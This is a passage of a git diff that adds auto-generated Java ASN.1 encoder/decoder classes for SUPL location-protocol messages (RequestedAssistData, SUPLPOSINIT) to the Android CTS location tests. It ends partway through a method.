+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.realTimeIntegrityRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "realTimeIntegrityRequested : "
+ + getRealTimeIntegrityRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavigationModelRequested() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavigationModelRequested();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavigationModelRequestedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.navigationModelRequestedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navigationModelRequested : "
+ + getNavigationModelRequested().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavigationModelData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavigationModelData();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavigationModelDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavigationModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navigationModelData : "
+ + getNavigationModelData().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_RequestedAssistData_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_RequestedAssistData_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_RequestedAssistData_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_RequestedAssistData_extension : "
+ + getExtensionVer2_RequestedAssistData_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacRequestedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_almanacRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacRequestedType != null) {
+ return ImmutableList.of(TAG_almanacRequestedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacRequestedType from encoded stream.
+ */
+ public static almanacRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ almanacRequestedType result = new almanacRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacRequestedType from encoded stream.
+ */
+ public static almanacRequestedType fromPerAligned(byte[] encodedBytes) {
+ almanacRequestedType result = new almanacRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacRequestedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcModelRequestedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_utcModelRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcModelRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcModelRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcModelRequestedType != null) {
+ return ImmutableList.of(TAG_utcModelRequestedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcModelRequestedType from encoded stream.
+ */
+ public static utcModelRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ utcModelRequestedType result = new utcModelRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcModelRequestedType from encoded stream.
+ */
+ public static utcModelRequestedType fromPerAligned(byte[] encodedBytes) {
+ utcModelRequestedType result = new utcModelRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcModelRequestedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ionosphericModelRequestedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ionosphericModelRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ionosphericModelRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ionosphericModelRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ionosphericModelRequestedType != null) {
+ return ImmutableList.of(TAG_ionosphericModelRequestedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ionosphericModelRequestedType from encoded stream.
+ */
+ public static ionosphericModelRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ ionosphericModelRequestedType result = new ionosphericModelRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ionosphericModelRequestedType from encoded stream.
+ */
+ public static ionosphericModelRequestedType fromPerAligned(byte[] encodedBytes) {
+ ionosphericModelRequestedType result = new ionosphericModelRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ionosphericModelRequestedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class dgpsCorrectionsRequestedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_dgpsCorrectionsRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public dgpsCorrectionsRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_dgpsCorrectionsRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_dgpsCorrectionsRequestedType != null) {
+ return ImmutableList.of(TAG_dgpsCorrectionsRequestedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new dgpsCorrectionsRequestedType from encoded stream.
+ */
+ public static dgpsCorrectionsRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ dgpsCorrectionsRequestedType result = new dgpsCorrectionsRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new dgpsCorrectionsRequestedType from encoded stream.
+ */
+ public static dgpsCorrectionsRequestedType fromPerAligned(byte[] encodedBytes) {
+ dgpsCorrectionsRequestedType result = new dgpsCorrectionsRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "dgpsCorrectionsRequestedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class referenceLocationRequestedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_referenceLocationRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public referenceLocationRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_referenceLocationRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_referenceLocationRequestedType != null) {
+ return ImmutableList.of(TAG_referenceLocationRequestedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new referenceLocationRequestedType from encoded stream.
+ */
+ public static referenceLocationRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ referenceLocationRequestedType result = new referenceLocationRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new referenceLocationRequestedType from encoded stream.
+ */
+ public static referenceLocationRequestedType fromPerAligned(byte[] encodedBytes) {
+ referenceLocationRequestedType result = new referenceLocationRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "referenceLocationRequestedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class referenceTimeRequestedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_referenceTimeRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public referenceTimeRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_referenceTimeRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_referenceTimeRequestedType != null) {
+ return ImmutableList.of(TAG_referenceTimeRequestedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new referenceTimeRequestedType from encoded stream.
+ */
+ public static referenceTimeRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ referenceTimeRequestedType result = new referenceTimeRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new referenceTimeRequestedType from encoded stream.
+ */
+ public static referenceTimeRequestedType fromPerAligned(byte[] encodedBytes) {
+ referenceTimeRequestedType result = new referenceTimeRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "referenceTimeRequestedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class acquisitionAssistanceRequestedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_acquisitionAssistanceRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public acquisitionAssistanceRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_acquisitionAssistanceRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_acquisitionAssistanceRequestedType != null) {
+ return ImmutableList.of(TAG_acquisitionAssistanceRequestedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new acquisitionAssistanceRequestedType from encoded stream.
+ */
+ public static acquisitionAssistanceRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ acquisitionAssistanceRequestedType result = new acquisitionAssistanceRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new acquisitionAssistanceRequestedType from encoded stream.
+ */
+ public static acquisitionAssistanceRequestedType fromPerAligned(byte[] encodedBytes) {
+ acquisitionAssistanceRequestedType result = new acquisitionAssistanceRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "acquisitionAssistanceRequestedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class realTimeIntegrityRequestedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_realTimeIntegrityRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public realTimeIntegrityRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_realTimeIntegrityRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_realTimeIntegrityRequestedType != null) {
+ return ImmutableList.of(TAG_realTimeIntegrityRequestedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new realTimeIntegrityRequestedType from encoded stream.
+ */
+ public static realTimeIntegrityRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ realTimeIntegrityRequestedType result = new realTimeIntegrityRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new realTimeIntegrityRequestedType from encoded stream.
+ */
+ public static realTimeIntegrityRequestedType fromPerAligned(byte[] encodedBytes) {
+ realTimeIntegrityRequestedType result = new realTimeIntegrityRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "realTimeIntegrityRequestedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navigationModelRequestedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_navigationModelRequestedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navigationModelRequestedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navigationModelRequestedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navigationModelRequestedType != null) {
+ return ImmutableList.of(TAG_navigationModelRequestedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navigationModelRequestedType from encoded stream.
+ */
+ public static navigationModelRequestedType fromPerUnaligned(byte[] encodedBytes) {
+ navigationModelRequestedType result = new navigationModelRequestedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navigationModelRequestedType from encoded stream.
+ */
+ public static navigationModelRequestedType fromPerAligned(byte[] encodedBytes) {
+ navigationModelRequestedType result = new navigationModelRequestedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navigationModelRequestedType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("RequestedAssistData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SUPLPOSINIT.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SUPLPOSINIT.java
new file mode 100755
index 0000000..5e32a4e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SUPLPOSINIT.java
@@ -0,0 +1,590 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_pos_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.supl_pos.SUPLPOS;
+import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
+import android.location.cts.asn1.supl2.ulp_components.LocationId;
+import android.location.cts.asn1.supl2.ulp_components.Position;
+import android.location.cts.asn1.supl2.ulp_components.Ver;
+import android.location.cts.asn1.supl2.ulp_version_2_message_extensions.Ver2_SUPL_POS_INIT_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SUPLPOSINIT extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SUPLPOSINIT
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SUPLPOSINIT() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SUPLPOSINIT;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SUPLPOSINIT != null) {
+ return ImmutableList.of(TAG_SUPLPOSINIT);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SUPLPOSINIT from encoded stream.
+ */
+ public static SUPLPOSINIT fromPerUnaligned(byte[] encodedBytes) {
+ SUPLPOSINIT result = new SUPLPOSINIT();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SUPLPOSINIT from encoded stream.
+ */
+ public static SUPLPOSINIT fromPerAligned(byte[] encodedBytes) {
+ SUPLPOSINIT result = new SUPLPOSINIT();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SETCapabilities sETCapabilities_;
+ public SETCapabilities getSETCapabilities() {
+ return sETCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SETCapabilities
+ */
+ public void setSETCapabilities(Asn1Object value) {
+ this.sETCapabilities_ = (SETCapabilities) value;
+ }
+ public SETCapabilities setSETCapabilitiesToNewInstance() {
+ sETCapabilities_ = new SETCapabilities();
+ return sETCapabilities_;
+ }
+
+ private RequestedAssistData requestedAssistData_;
+ public RequestedAssistData getRequestedAssistData() {
+ return requestedAssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RequestedAssistData
+ */
+ public void setRequestedAssistData(Asn1Object value) {
+ this.requestedAssistData_ = (RequestedAssistData) value;
+ }
+ public RequestedAssistData setRequestedAssistDataToNewInstance() {
+ requestedAssistData_ = new RequestedAssistData();
+ return requestedAssistData_;
+ }
+
+ private LocationId locationId_;
+ public LocationId getLocationId() {
+ return locationId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationId
+ */
+ public void setLocationId(Asn1Object value) {
+ this.locationId_ = (LocationId) value;
+ }
+ public LocationId setLocationIdToNewInstance() {
+ locationId_ = new LocationId();
+ return locationId_;
+ }
+
+ private Position position_;
+ public Position getPosition() {
+ return position_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Position
+ */
+ public void setPosition(Asn1Object value) {
+ this.position_ = (Position) value;
+ }
+ public Position setPositionToNewInstance() {
+ position_ = new Position();
+ return position_;
+ }
+
+ private SUPLPOS sUPLPOS_;
+ public SUPLPOS getSUPLPOS() {
+ return sUPLPOS_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SUPLPOS
+ */
+ public void setSUPLPOS(Asn1Object value) {
+ this.sUPLPOS_ = (SUPLPOS) value;
+ }
+ public SUPLPOS setSUPLPOSToNewInstance() {
+ sUPLPOS_ = new SUPLPOS();
+ return sUPLPOS_;
+ }
+
+ private Ver ver_;
+ public Ver getVer() {
+ return ver_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver
+ */
+ public void setVer(Asn1Object value) {
+ this.ver_ = (Ver) value;
+ }
+ public Ver setVerToNewInstance() {
+ ver_ = new Ver();
+ return ver_;
+ }
+
+
+
+ private Ver2_SUPL_POS_INIT_extension extensionVer2_SUPL_POS_INIT_extension;
+ public Ver2_SUPL_POS_INIT_extension getExtensionVer2_SUPL_POS_INIT_extension() {
+ return extensionVer2_SUPL_POS_INIT_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_SUPL_POS_INIT_extension
+ */
+ public void setExtensionVer2_SUPL_POS_INIT_extension(Asn1Object value) {
+ extensionVer2_SUPL_POS_INIT_extension = (Ver2_SUPL_POS_INIT_extension) value;
+ }
+ public void setExtensionVer2_SUPL_POS_INIT_extensionToNewInstance() {
+ extensionVer2_SUPL_POS_INIT_extension = new Ver2_SUPL_POS_INIT_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSETCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSETCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setSETCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sETCapabilities : "
+ + getSETCapabilities().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRequestedAssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRequestedAssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setRequestedAssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestedAssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "requestedAssistData : "
+ + getRequestedAssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
